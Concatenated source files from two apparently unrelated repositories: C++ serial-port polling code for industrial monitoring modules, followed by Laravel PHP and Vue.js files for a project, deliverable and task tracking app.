std::cerr<<"!ERROR! "<<begin_uns->second->getId()<<" NOT answer\n"; it_mlife->second = false; } } else { it_mlife = __mlife.find(begin_uns->second->getId() ); //сохраняем рабочее состояние модуля if (it_mlife != __mlife.end() ) it_mlife->second = true; begin_uns->second->addProcess(); if (stdc::Serial::_debug){ printf("ANSWER:\n"); for ( int ii=0; ii <begin_uns->second->getAnsLen() ; ii++ ) printf ("%x ", *(ans_buf+ii) ); printf ("\n"); } int out = begin_uns->second->checkAnswer(ans_buf, (bool)stdc::Serial::_debug); if (out == ERROR) begin_uns->second->addCrc_fail(); } if (begin_uns->second->getSpeed() != this->_speed ) //переключаем скорость в канале InitTTY ( this->_speed ); } //опрашиваем ИОНы, на выбранном УНС begin_ion = begin_uns->second->_ions.begin(); end_ion = begin_uns->second->_ions.end(); while (begin_ion != end_ion ){ if (stdc::Serial::_debug) std::cout<<"\nHandle Ion: "<<begin_ion->second->getId()<<" addr: "<<begin_ion->second->getAddr()<<" speed: "<<begin_ion->second->getSpeed()<<"\n"; WriteTTY (begin_ion->second->getReq(), sizeof ( struct Udo::Udo_Request ) ); ret = ReadTTY (begin_ion->second->getAns(), sizeof( struct Udo::Udo_Answer ), 50 ); if (stdc::Serial::_debug) printf("Answer: %x %x %x \n",begin_ion->second->getAns()->start, begin_ion->second->getAns()->addr, begin_ion->second->getAns()->crc ); if ( ret != sizeof( struct Udo::Udo_Answer ) ){ begin_ion->second->addNot_Answer(); it_mlife = __mlife.find(begin_ion->second->getId() );//сохранить инфу об отсутвии ответа. if (it_mlife != __mlife.end() ){ if (it_mlife->second && stdc::Serial::_debug ) std::cerr<<"!ERROR! "<<begin_ion->second->getId()<<" NOT answer\n"; it_mlife->second = false; } } else{ begin_ion->second->addProcess(); it_mlife = __mlife.find(begin_ion->second->getId() ); //сохраняем рабочее состояние модуля if (it_mlife != __mlife.end() ) it_mlife->second = true; //std::cerr<<"!OK! "<<begin_ion->second->getId()<<" answer\n"; } begin_ion++; } //опрашиваем АК, на выбранном УНС for (int ii=0; ii<begin_uns->second->_aks.size(); ii++){ begin_ak = begin_uns->second->_aks[ii].begin(); end_ak = begin_uns->second->_aks[ii].end(); while (begin_ak != end_ak ){ if (stdc::Serial::_debug) std::cout<<"\nHandle AK: "<<begin_ak->second->getId()<<" addr: "<<begin_ak->second->getAddr()<<" speed: "<<begin_ak->second->getSpeed()<<"\n"; WriteTTY (begin_ak->second->getReq(), sizeof( struct Udo::Udo_Request ) ); ret = ReadTTY (begin_ak->second->getAns(), sizeof( struct Udo::Udo_Answer ), 50 ); if (stdc::Serial::_debug) printf("Answer: %x %x %x \n", begin_ak->second->getAns()->start, begin_ak->second->getAns()->addr, begin_ak->second->getAns()->crc ); if ( ret != sizeof( struct Udo::Udo_Answer ) ){ begin_ak->second->addNot_Answer(); it_mlife = __mlife.find(begin_ak->second->getId() );//сохранить инфу об отсутвии ответа. if (it_mlife != __mlife.end() ){ if (it_mlife->second && stdc::Serial::_debug) std::cerr<<"!ERROR! "<<begin_ak->second->getId()<<" NOT answer\n"; it_mlife->second = false; } } else{ begin_ak->second->addProcess(); it_mlife = __mlife.find(begin_ak->second->getId() ); //сохраняем рабочее состояние модуля if (it_mlife != __mlife.end() ) it_mlife->second = true; //std::cerr<<"!OK! "<<begin_ak->second->getId()<<" answer\n"; } begin_ak++; } } begin_uns++; } } int stdc::Serial::ReadTTY( void * buffer, int sizeBuffer, int timeout){ struct timeval timing; fd_set readfds; int ret; int counter_rec= 0; int bytes; int start=0; int maxvalue=_sfd+1; FD_ZERO(&readfds); FD_SET(_sfd, &readfds); timing.tv_sec=0; timing.tv_usec=timeout*1000; while(1) { ret = select(maxvalue, &readfds, NULL, NULL, &timing); if( ret==-1 || 0==( FD_ISSET (_sfd, &readfds ))) { if (stdc::Serial::_debug) printf("**** ERROR while read tty '%s' *************\n",_tty.c_str()); return ERROR; } counter_rec++; ioctl(_sfd, FIONREAD, &bytes); if (bytes>0) { int out=read(_sfd,( (uchar*)buffer + start ), bytes); start+=out; if ( start >= sizeBuffer ) { return sizeBuffer; } } timing.tv_sec=0; timing.tv_usec=timeout*1000; } return OK; } int stdc::Serial::WriteTTY(void *buffer, int sizeBuffer ){ uchar * buff = (uchar*) buffer; if (stdc::Serial::_debug){ std::cout<<"Request: "; for (int i=0; i<sizeBuffer; i++) printf ("%2x ",*(buff++) ); std::cout<<std::endl; } int size=0,ret; while(size!=sizeBuffer) { ret=write(_sfd, buffer, sizeBuffer); if( ret==0 || ret == -1){ if (stdc::Serial::_debug) printf ("can't send data to comm %d\n", ret); break; } size+=ret; } if(size==sizeBuffer) return tcdrain(_sfd); else return ERROR; } int stdc::Serial::OpenTTY( ){ struct termios oldtio,newtio; int fd; printf ("before Open %s, fd=%d\n",_tty.c_str(), fd); fd = open(_tty.c_str(), O_RDWR | O_NOCTTY | O_SYNC); if (fd < 0) { printf ("!! ERROR !!, Can't open %s\n", _tty.c_str() ); return -1; } else printf ("Open %s, fd=%d\n", _tty.c_str(),fd); tcgetattr(fd,&oldtio); bzero(&newtio, sizeof(newtio)); newtio.c_cflag = B19200 | CS8 | CSTOPB | CLOCAL | CREAD ; newtio.c_iflag = 0 ; newtio.c_oflag = 0 ; newtio.c_lflag = IEXTEN; tcsetattr(fd,TCSANOW,&newtio); tcflush(fd, TCOFLUSH); tcflush(fd, TCIFLUSH); tcflow(fd,TCOON); return fd; } void stdc::Serial::InitTTY(int baudrate){ // if (stdc::Serial::_debug) // std::cout<<"\nInitTTY on speed: "<<baudrate<<"\n"; struct termios newtio; int speed=B19200; switch (baudrate) { case 19200: speed=B19200; break; case 38400: speed=B38400; break; case 57600: speed=B57600; break; case 115200: speed=B115200; break; default : speed=B19200; break; } tcgetattr(_sfd,&newtio); cfsetospeed(&newtio,speed); cfsetispeed(&newtio,speed); tcsetattr(_sfd,TCSANOW,&newtio); tcflush(_sfd, TCOFLUSH); tcflush(_sfd, TCIFLUSH); tcflow(_sfd,TCOON); } <file_sep>/Uart/src/riku.h #ifndef _stdc_Uart_helper_h_ #define _stdc_Uart_helper_h_ #define OK 0 #define ERROR -1 //#include <string> #include <map> #include <vector> #include <list> #include <iostream> #include <stdio.h> #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <fcntl.h> #include <sys/signal.h> #include <sys/ioctl.h> #include <sys/types.h> #include <omnithread.h> #include "common.h" namespace stdc{ class Module{ public: Module(); Module(ulong addr, std::string id ); Module(ulong addr, std::string id, ulong speed ); ~Module(); public: virtual inline const char* getId(){ return _id.c_str(); }; virtual inline ulong getAddr(){ return _addr; }; virtual inline ulong getSpeed(){ return _speed; }; virtual inline const char* getPlace(){return _place;} inline Module_Fails* getFail(){ return &_fail; }; inline void addProcess(){_fail.process++;}; inline void addNot_Answer(){_fail.not_answer++;}; inline void addCrc_fail(){_fail.crc_fail++;}; unsigned char left_circle_shift(unsigned char *buf,int n); unsigned short CRC16 ( unsigned char *buf,int n); protected: ulong _addr, _speed; std::string _id; const char* _place; Module_Fails _fail; }; class Udo: public Module{ public: Udo(){}; ~Udo(){}; struct Udo_Request{ uchar start; uchar addr; uchar num_group;//0x3f all groups uchar group[6]; uchar crc1; uchar crc2; }; struct Udo_Answer{ uchar start; uchar addr; uchar crc; }; virtual struct Udo_Request* getReq()=0; inline struct Udo_Answer* getAns() {return _ans;} virtual void offUdo(){memset(_req->group, 0xff, sizeof(_req->group) );}; struct Udo_Request *_req; struct Udo_Answer *_ans; }; class Ak: public Udo{ public: Ak(ulong addr, std::string id, ak_type type, ulong speed, const char* place ); ~Ak(); ak_type _type; virtual struct Udo_Request* getReq(); int getAkType(){return _type;}; void offChan (long); void onInd (int, int, int ); void onoffInd (int, int, int ); void onGr (int, bool); void onEi (int, bool); inline bool getVp( int ); private: int onKey(int, int ); int number, status; struct chankeymod{ int key; int mode; bool isVp; } keymod[4]; }; class Ion: public Udo{ public: Ion(ulong addr, std::string id, ulong speed, const char* place ); ~Ion(); virtual struct Udo_Request* getReq(); bool is500v( int ); virtual void off (int); virtual void ground (int); virtual void direct (int); virtual void undirect (int); virtual void u50_500v (int); private: int onKey(int, int); bool left500, right500; }; typedef std::map<std::string, stdc::Ak*> ak_map; typedef std::vector< stdc::ak_map> ak_map_vector; typedef std::map<std::string, stdc::Ion*> ion_map; class Uns: public Module{ public: Uns(); // Uns(ulong addr, std::string id, ulong speed, uns_type _type); ~Uns(); virtual void* getReq(){}; virtual inline void* getAns() {return _ans;} virtual inline int getReqLen(){ return sizeof(void*);}; virtual inline int getAnsLen(){ return sizeof(void*);}; virtual int checkAnswer( uchar*, bool ){return ERROR;}; virtual void amplif(int, int ){}; virtual void setIsol( bool ){}; virtual bool getIsol( ){}; virtual double getIval( int ){}; virtual void setIsolVal( double, int ){}; virtual Exchange* getExch(int) {;}; virtual Gui_Send* getGui(){}; virtual PA_Data* getGuiPA(){}; ak_map _aks1, _aks2; ion_map _ions; ak_map_vector _aks; uns_type _type; Exchange *_exch; Gui_Send *_gui; protected: void * _req; void * _ans; bool _isol; bool gui_ready; //заглушка ибо возник баг не всегда выполняется опрос УНС, и возвращается нулевые данные по измерениям }; class UnsFrc: public Uns{ public: UnsFrc(ulong addr, std::string id, ulong speed, const char* place); ~UnsFrc(); public: void* getReq(); inline int getReqLen(){ return sizeof( struct UnsFrc::Uns_Request ); }; inline int getAnsLen(){ return sizeof( struct UnsFrc::Uns_Answer ); }; int checkAnswer(uchar*, bool); void amplif(int, int ); void setIsol( bool ); double getIval( int ); Exchange* getExch(int); inline bool getIsol( ){return _isol;}; void setIsolVal( double, int ); Gui_Send* getGui(); struct Uns_Request{ uchar start;//0 uchar addr;// uchar command_len;//0x1 длинна поля данных 0х3 uchar command;//0x0 get_data ushort mode;//working mode of the UNS. look at the table below /* COEF_MASK 0x3 COEF1_MASK (COEF_MASK)<<0 COEF2_MASK (COEF_MASK)<<2 COEF3_MASK (COEF_MASK)<<4 COEF4_MASK (COEF_MASK)<<6 channel coefficient 0x0: coefficient AUTO 0x1: amplification ON 0x2: amplification OFF 0x3: reserved ISOL_MASK 0x0800 */ uchar crc1; uchar crc2; }__attribute((packed)); struct Uns_Answer{ uchar start; uchar addr; uchar data_len; float VDC[4]; float VAC[4]; float VACf[4]; short Phase[4]; ushort mode;//look at the request_unsPRC.mode ushort Diag; ushort crc16; }__attribute((packed)); // Exchange *_exch; // Gui_Send *_gui; private: struct Uns_Request * _req; struct Uns_Answer * _ans; ak_map::iterator begin_ak, end_ak; }; //**************************************** UNS-TRC ********************************************* class UnsTrc: public Uns{ public: UnsTrc(ulong addr, std::string id, ulong speed, const char* place ); ~UnsTrc(); public: void* getReq(); inline int getReqLen(){ return sizeof( struct UnsTrc::Uns_Request ); }; inline int getAnsLen(){ return sizeof( struct UnsTrc::Uns_Answer ); }; int checkAnswer(uchar*, bool); void amplif(int, int ); void setIsol( bool ); double getIval( int ); Exchange* getExch(int); inline bool getIsol( ){return _isol;}; void setIsolVal( double, int ); Gui_Send* getGui(); struct Uns_Answer{ uchar start; uchar addr; uchar data_len; struct channelTRC TRC[4]; ushort mode;//look at the request_unsTRC.mode ushort Diag; ushort crc16; }__attribute((packed)); struct Uns_Request{ uchar start;//0 uchar addr;// uchar command_len;//0x1 uchar command;//0x0 get_data ushort mode;//working mode of the UNS. look at the table below uchar crc1; uchar crc2; }__attribute((packed)); // Exchange *_exch; // Gui_Send *_gui; private: struct Uns_Request * _req; struct Uns_Answer * _ans; ak_map::iterator begin_ak, end_ak; }; //***********************UNS-PA****************************// class UnsPa: public Uns{ public: UnsPa(ulong addr, std::string id, ulong speed, const char*, double offset, double coefficient, int current_type); ~UnsPa(); public: void* getReq(); inline int getReqLen(){ return sizeof( struct UnsPa::Uns_Request ); }; inline int getAnsLen(){ return sizeof( struct UnsPa::Uns_Answer ); }; int checkAnswer(uchar*, bool); virtual PA_Data* getGuiPA(); struct Uns_Answer{ uchar start; uchar addr; uchar data_len; PA_Data data;//UNS-PA data uchar Diag1; uchar Diag2; // 0x06 always ushort crc16; }__attribute((packed)); struct Uns_Request{ uchar start;//0 uchar addr;// uchar command_len;//0x1 uchar command;//0x20 get_data uchar crc1; uchar crc2; }__attribute((packed)); private: PA_Data* _gui; struct Uns_Request * _req; struct Uns_Answer * _ans; double _coefficient; double _offset; //for constant current int _current_type; //0-AC; 1-DC }; //****************** SERIAL ********************* // typedef std::vector < stdc::Uns* > uns_vector; typedef std::map <std::string, stdc::Uns* > uns_map; typedef std::map <std::string, bool > mod_life; class Serial{ public: Serial(std::string tty, ulong speed, int debug, int delay); ~Serial(); // uns_vector __uns; uns_map __uns; uns_map::iterator begin_uns, end_uns; static void *ThreadSerial (void *arg); inline void setTID(omni_thread * _id){_tid = _id;} bool isGoodSerial(){ return _isGoodSerial; } uchar ans_buf[150]; mod_life __mlife; mod_life::iterator it_mlife, begin_mlife, end_mlife; private: int _sfd; omni_thread *_tid; std::string _tty; int _speed; ulong _debug; int _delay; bool _isGoodSerial; int OpenTTY ( ); void InitTTY ( int baudrate); int WriteTTY ( void * buffer, int sizeBuffer); int ReadTTY ( void * buffer, int sizeBuffer, int timeout); void HandleTTY(); ion_map::iterator begin_ion, end_ion; ak_map::iterator begin_ak, end_ak; }; } #endif //_stdc_Uart_helper_h_
3cfaf9d422ba8888ead3544887975b3c2ebda25a
[ "Text", "Makefile", "C++", "Shell" ]
31
Makefile
boris-r-v/STDC
55ec962c6d073b829c70580f0ce042a67af2b949
2350f6d942e5363bde9014f099270a4f9fbdc48a
refs/heads/master
<file_sep>import Vue from 'vue'; import HoursWorked from '../projects/HoursWorked.vue'; import DeliverableDetails from '../deliverables/Details.vue'; import FormErrors from '../errors/FormErrors.vue'; import Project from '../../models/project'; import Deliverable from "../../models/deliverable"; import Promise from "bluebird"; import swal from "sweetalert2"; Vue.component('project-details', { components: {HoursWorked, DeliverableDetails, FormErrors}, props: ['project', 'clients'], data() { return { http: { updatingProject: false, updatingDeliverable: false, creatingDeliverable: false, completingProject: false }, mProject: this.project, mDeliverables: [], forms: { editProject: { }, newDeliverable: { name: '', description: '', estimated_hours: '', estimated_cost: '', due_at: '' }, editDeliverable: { project_id: '', name: '', description: '', estimated_hours: '', estimated_cost: '', due_at: '' } }, formErrors: { editProject: {}, createDeliverable: {}, editDeliverable: {} }, modals: { editProject: false, createDeliverable: false, editDeliverable: false }, tables: { deliverables: { headers: [ { text: 'Name', sortable: true, value: 'name' }, { text: 'Hours', sortable: true, value: 'estimated_hours' }, { text: 'Cost', sortable: true, value: 'estimated_cost' }, { text: 'Worked', sortable: false, value: 'hours_worked' },{ text: 'Due', sortable: true, value: 'due_at' }, { text: 'Completed', sortable: true, value: 'completed_at' } ] } } } }, created() { // Dynamically set deliverables if exists if(this.mProject.deliverables) { this.mDeliverables = [...this.mProject.deliverables]; } }, methods: { openEditProjectModal() { this.forms.editProject = {}; Object.keys(this.mProject).forEach(k => { this.$set(this.forms.editProject, k, this.mProject[k]); }); this.forms.editProject.id = this.mProject.id; this.modals.editProject = true; }, openCreateDeliverableModal() { Object.keys(this.forms.newDeliverable).forEach(k => { this.forms.newDeliverable[k] = ''; }); this.forms.newDeliverable.project_id = this.mProject.id; this.modals.createDeliverable = true; }, openEditDeliverableModal(id) { let deliverable = this.mDeliverables.filter(d => { return d.id === id; }); if(deliverable.length) { deliverable = deliverable[0]; } else { return; } this.modals.editDeliverable = true; Object.keys(this.forms.editDeliverable).forEach(k => { if(deliverable.hasOwnProperty(k)) { this.forms.editDeliverable[k] = deliverable[k]; } }); this.forms.editDeliverable.id = deliverable.id; }, closeEditDeliverableModal() { this.modals.editDeliverable = false; this.$nextTick(() => { this.errors.clear(); }); }, closeEditProjectModal() { this.modals.editProject = false; this.$nextTick(() => { this.errors.clear(); }); }, closeCreateDeliverableModal() { this.modals.createDeliverable = false; this.$nextTick(() => { this.errors.clear(); }); }, closeEditDeliverableModal() { this.modals.editDeliverable = false; this.$nextTick(() => { this.errors.clear(); }); }, validateUpdateProject() { let keys = []; Object.keys(this.forms.editProject).forEach(k => { keys.push(`edit-${k}`); }); this.$validator.validateAll(keys).then(res => { if(res) { this.updateProject(); } }); }, validateCreateDeliverable() { let keys = []; Object.keys(this.forms.newDeliverable).forEach(k => { keys.push(`new-deliverable-${k}`); }); this.$validator.validateAll(keys).then(res => { if(res) { this.createDeliverable(); } }); }, validateEditDeliverable() { let keys = []; Object.keys(this.forms.editDeliverable).forEach(k => { keys.push(`edit-deliverable-${k}`); }); this.$validator.validateAll(keys).then(res => { if(res) { this.updateDeliverable(this.forms.editDeliverable.id); } }); }, updateProject() { this.formErrors.editProject = null; this.http.updatingProject = true; this.$http.put(`/ajax/projects/${this.forms.editProject.id}`, this.forms.editProject).then(res => { this.http.updatingProject = false; this.closeEditProjectModal(); this.swapProject(res.data.data); }).catch(res => { this.http.updatingProject = false; if(res.response && res.response.data) { if(res.response.data.errors) { this.formErrors.editProject = res.response.data.errors; } } }); }, createDeliverable() { let data = {}; this.http.creatingDeliverable = true; Object.keys(this.forms.newDeliverable).forEach(k => { data[k] = this.forms.newDeliverable[k]; }); this.$http.post('/ajax/deliverables', data).then(res => { this.http.creatingDeliverable = false; this.mDeliverables = [...this.mDeliverables, res.data.data]; this.closeCreateDeliverableModal(); }).catch(res => { this.http.creatingDeliverable = false; if(res.response && res.response.data) { if(res.response.data.errors) { this.formErrors.createDeliverable = res.response.data.errors; } } }); }, updateDeliverable(id) { let data = {}; this.http.updatingDeliverable = true; Object.keys(this.forms.editDeliverable).forEach(k => { data[k] = this.forms.editDeliverable[k]; }); this.$http.put(`/ajax/deliverables/${id}`, data).then(res => { this.http.updatingDeliverable = false; this.mDeliverables = this.mDeliverables.map(d => { if(res.data.data.id === d.id) { d = res.data.data; } return d; }); this.closeEditDeliverableModal(); }).catch(res => { this.http.updatingDeliverable = false; if(res.response && res.response.data) { if(res.response.data.errors) { this.formErrors.editDeliverable = res.response.data.errors; } } }); }, swapProject(project) { this.mProject = project; }, confirmDeleteProject() { swal({ title: 'Delete Project', type: 'warning', text: 'Are you sure you want to permanently delete this project?', showCancelButton: true, showLoaderOnConfirm: true, preConfirm: (res) => { return new Promise((resolve) => { this.deleteProject(this.mProject.id).then(res2 => { resolve(); }).catch(res2 => { resolve(); }); }); } }).then(res => { if(res.value) { window.location = '/projects'; } }) }, confirmDeleteDeliverable(id) { let deliverable = this.mDeliverables.filter(d => { return d.id === id; }); if(deliverable.length) { deliverable = deliverable[0]; } else { return; } swal({ title: 'Delete Deliverable', type: 'warning', text: 'Are you sure you want to permanently delete this deliverable?', showCancelButton: true, showLoaderOnConfirm: true, preConfirm: (res) => { return new Promise((resolve, reject) => { this.deleteDeliverable(deliverable.id).then(res2 => { resolve(); }).catch(res2 => { reject(); }); }); } }).then(res => { if(res.value) { this.removeLocalDeliverable(deliverable.id); } }).catch(res => { swal('Uh oh', 'An error occurred when deleting your deliverable.', 'error'); }); }, removeLocalDeliverable(id) { this.mDeliverables = this.mDeliverables.filter(d => { return d.id !== id; }); }, deleteProject(id) { return this.$http.delete(`/ajax/projects/${id}`); }, deleteDeliverable(id) { return this.$http.delete(`/ajax/deliverables/${id}`); }, clearDueAt(form) { form.due_at = ''; }, tryMarkComplete() { let can = this.checkMarkComplete(); if(can) { this.completeProject(); } else { swal({ title: 'Are you sure?', text: 'You haven\'t completed all of your deliverables yet.', type: 'warning', showCancelButton: true }).then(res => { if(res.value) { this.completeProject(); } }); } }, checkMarkComplete() { let passCount = this.mDeliverables.filter(d => { return d.completed_at; }); return passCount.length > 0; }, completeProject() { this.http.completingProject = true; this.$http.post(`/ajax/projects/${this.mProject.id}/complete`).then(res => { this.http.completingProject = false; this.refreshProject(); }).catch(res => { this.http.completingProject = false; swal('Uh oh', 'Something went wrong completing this project.', 'error'); }); }, refreshDeliverable(id) { this.$http.get(`/ajax/deliverable/${id}`).then(res => { this.mDeliverables = this.mDeliverables.map(d => { if(d.id === res.data.data.id) { d = res.data.data; } return d; }); }).catch(res => { swal('Uh oh', 'Couldn\'t refresh the deliverable', 'error'); }); }, refreshProject() { this.$http.get(`/ajax/projects/${this.mProject.id}`, { params: { includes: 'deliverables,work' } }).then(res => { this.mProject = res.data.data; }).catch(res => { swal('Uh oh', 'Could not refresh the project. Try reloading the page.', 'error'); }); } }, computed: { hydratedProject() { return Project.hydrate(this.mProject); }, hydratedDeliverables() { return Deliverable.hydrate(this.mDeliverables); } } }); <file_sep><?php namespace App\Console\Commands; use App\Models\Company; use Carbon\Carbon; use Illuminate\Console\Command; class RemoveStaleDeletedCompanies extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'company:remove-deleted'; /** * The console command description. * * @var string */ protected $description = 'Remove any companies who were deleted 30 days ago.'; /** * Execute the console command. * * @return mixed */ public function handle() { $today = Carbon::now(); $thirtyDaysPrior = $today->subDay(30); $companies = Company::whereDate('deleted_at', '<', $thirtyDaysPrior)->withTrashed()->get(); foreach($companies as $company) { $company->forceDelete(); } } } <file_sep><?php function urlActive($url = '', $class = 'disabled') { if(request()->is($url)) return $class; return ''; } function currentCompany() { $cId = session('company'); $company = null; if($cId) { /** @var \App\Repositories\CompanyRepository $company */ $companyRepo = app()->make(\App\Repositories\CompanyRepository::class); $company = $companyRepo->find($cId); } return $company; } function currentCompanySet() { return session('company'); } function isCurrentCompany($company) { return session('company') == $company->id; }<file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MakeWorksPolymorphic extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('works', function (Blueprint $table) { $table->unsignedInteger('workable_id')->nullable()->after('task_id'); $table->string('workable_type')->nullable()->after('workable_id'); $table->dropForeign('works_project_id_foreign'); $table->dropColumn('project_id'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('works', function (Blueprint $table) { $table->dropColumn('workable_id', 'workable_type'); $table->unsignedInteger('project_id'); $table->foreign('project_id')->references('id')->on('projects')->onDelete('cascade'); }); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Project extends Model { use SoftDeletes; /** * @var array */ protected $fillable = ['name', 'estimated_cost', 'estimated_hours', 'due_at', 'completed_at']; /** * @var array */ protected $dates = ['due_at', 'completed_at']; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function client() { return $this->belongsTo(Client::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function deliverables() { return $this->hasMany(Deliverable::class)->orderBy('due_at'); } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany */ public function tasks() { return $this->belongsToMany(Task::class)->withPivot('rate')->withTimestamps(); } /** * @return \Illuminate\Database\Eloquent\Relations\MorphMany */ public function work() { return $this->morphMany(Work::class, 'workable'); } } <file_sep><?php namespace App\Repositories; use App\Models\Client; use App\Models\Project; class ProjectRepository implements iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations) { try { $project = Project::create($fields); foreach($relations as $rel) { if($rel instanceof Client) { $project->client()->associate($rel); } } $project->save(); return $project; } catch (\Exception $e) { \Log::error($e->getMessage()); return null; } } /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id) { return Project::find($id); } /** * Update a resource * * @param $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool { $success = false; $project = null; if($identifier instanceof Project) { $project = $identifier; } else { $project = Project::find($identifier); } if(!$project) { return $success; } $success = $project->update($fields); if($success) { foreach($relations as $rel) { if($rel instanceof Client) { $project->client()->associate($rel); } } $project->save(); } return $success; } /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id) { $project = $this->find($id); if($project) { return $project->delete(); } return true; } }<file_sep><?php namespace App\Http\Controllers\Ajax; use App\Http\Controllers\Controller; use App\Http\Requests\CreateTaskRequest; use App\Models\Project; use App\Models\Task; use App\Repositories\TaskRepository; use App\Transformers\TaskTransformer; class TasksController extends Controller { /** * @param CreateTaskRequest $req * @param TaskRepository $repo * @return \Illuminate\Http\JsonResponse */ public function store(CreateTaskRequest $req, TaskRepository $repo) { $user = auth()->user(); $task = $repo->create($req->except('projects'), $user); if($task) { if($req->has('projects') && count($req->get('projects'))) { $projects = Project::whereIn('id', $req->get('projects'))->get(); $validIds = $projects->pluck('id')->all(); $task->projects()->sync($validIds); } $task = $repo->find($task->id); $task = fractal()->item($task, new TaskTransformer())->includeProjects()->toArray(); return response()->json([ 'success' => true, 'data' => $task, ], 203); } return response()->json([ 'success' => false, ], 400); } /** * @param CreateTaskRequest $req * @param TaskRepository $repo * @param Task $task * @return \Illuminate\Http\JsonResponse */ public function update(CreateTaskRequest $req, TaskRepository $repo, Task $task) { $task = $repo->update($task->id, $req->except('projects')); if($task) { if($req->has('projects') && count($req->get('projects'))) { $projects = Project::whereIn('id', $req->get('projects'))->get(); $validIds = $projects->pluck('id')->all(); $task->projects()->sync($validIds); } $task = $repo->find($task->id); $task = fractal()->item($task, new TaskTransformer())->includeProjects()->toArray(); return response()->json([ 'success' => true, 'data' => $task, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Task $task * @return \Illuminate\Http\JsonResponse */ public function delete(Task $task) { $success = false; try { if($task->delete()) { $success = true; return response()->json([ 'success' => true ]); } } catch (\Exception $e) { \Log::error($e->getMessage()); } if(!$success) { return response()->json([ 'success' => false ]); } } } <file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; use Storage; class CompanyTransformer extends TransformerAbstract { /** * @var array */ protected $availableIncludes = ['clients']; /** * A Fractal transformer. * * @param $company * @return array */ public function transform($company) { $data = null; if(!$company) { return $data; } $data = [ 'id' => $company->id, 'hash_id' => $company->hash_id, 'name' => $company->name, 'address' => $company->address, 'city' => $company->city, 'state' => $company->state, 'zip' => $company->zip, 'country' => $company->country, 'photo' => $company->photo ? Storage::url($company->photo) : null, 'default' => $company->default, ]; return $data; } /** * @param $company * @return array|\League\Fractal\Resource\Collection */ public function includeClients($company) { if(!$company) return []; $company->load('clients'); return $this->collection($company->clients, new ClientTransformer()); } } <file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; class DeliverableTransformer extends TransformerAbstract { /** * @var array */ protected $availableIncludes = ['client', 'work']; /** * A Fractal transformer. * * @param $deliverable * @return array */ public function transform($deliverable) { $data = null; if(!$deliverable) { return $data; } $data = [ 'id' => $deliverable->id, 'project_id' => $deliverable->project_id, 'name' => $deliverable->name, 'description' => $deliverable->description, 'estimated_cost' => $deliverable->estimated_cost, 'estimated_hours' => $deliverable->estimated_hours, 'due_at' => $deliverable->due_at ? $deliverable->due_at->format('Y-m-d') : null, 'completed_at' => $deliverable->completed_at ? $deliverable->completed_at->format('Y-m-d') : null, ]; return $data; } /** * @param $deliverable * @return \League\Fractal\Resource\Item|\League\Fractal\Resource\NullResource */ public function includeClient($deliverable) { if(!$deliverable) { return $this->null(); } return $this->item($deliverable->client, new ClientTransformer()); } /** * @param $deliverable * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource */ public function includeWork($deliverable) { if(!$deliverable) { return $this->null(); } return $this->collection($deliverable->work, new WorkTransformer()); } } <file_sep><?php namespace App\Repositories; use App\Models\Task; use App\Models\Work; class WorkRepository implements iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations) { try { $work = Work::create($fields); foreach($relations as $rel) { if($rel instanceof Task) { $work->task()->associate($rel); } } return $work; } catch (\Exception $e) { \Log::error($e->getMessage()); return null; } } /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id) { return Work::find($id); } /** * Update a resource * * @param mixed $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool { $success = false; $work = null; if($identifier instanceof Work) { $work = $identifier; } else { $work = Work::find($identifier); } if(!$work) { return $success; } $success = $work->update($fields); if($success) { foreach($relations as $rel) { if($rel instanceof Task) { $work->task()->associate($rel); } } } return $success; } /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id) { $work = $this->find($id); if($work) { return $work->delete(); } return true; } }<file_sep><?php namespace App\Http\Controllers; use App\Models\Client; use App\Models\Project; use App\Transformers\ClientTransformer; use App\Transformers\ProjectTransformer; class ProjectsController extends Controller { /** * @return mixed */ public function index() { $projects = Project::all(); $projects = fractal()->collection($projects, new ProjectTransformer()) ->includeClient() ->includeWork() ->includeDeliverables() ->toArray(); $clients = Client::orderBy('name')->get(); $clients = fractal()->collection($clients, new ClientTransformer())->toArray(); return view('projects.index')->with([ 'projects' => $projects, 'clients' => $clients, ]); } /** * @param Project $project * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function show(Project $project) { $clients = Client::orderBy('name')->get(); $projectJson = fractal()->item($project, new ProjectTransformer()) ->includeDeliverables() ->includeWork() ->toArray(); $clientsJson = fractal()->collection($clients, new ClientTransformer())->toArray(); return view('projects.show', [ 'project' => $project, 'json' => [ 'project' => $projectJson, 'clients' => $clientsJson, ], ]); } } <file_sep><?php namespace App\Repositories; use App\Models\Client; use App\Models\Company; class ClientRepository implements iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations) { try { $client = Client::create($fields); foreach($relations as $rel) { if($rel instanceof Company) { $client->company()->associate($rel); } } $client->save(); return $client; } catch (\Exception $e) { \Log::error($e->getMessage()); return null; } } /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id) { return Client::find($id); } /** * Update a resource * * @param mixed $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool { $success = false; $client = null; if($identifier instanceof 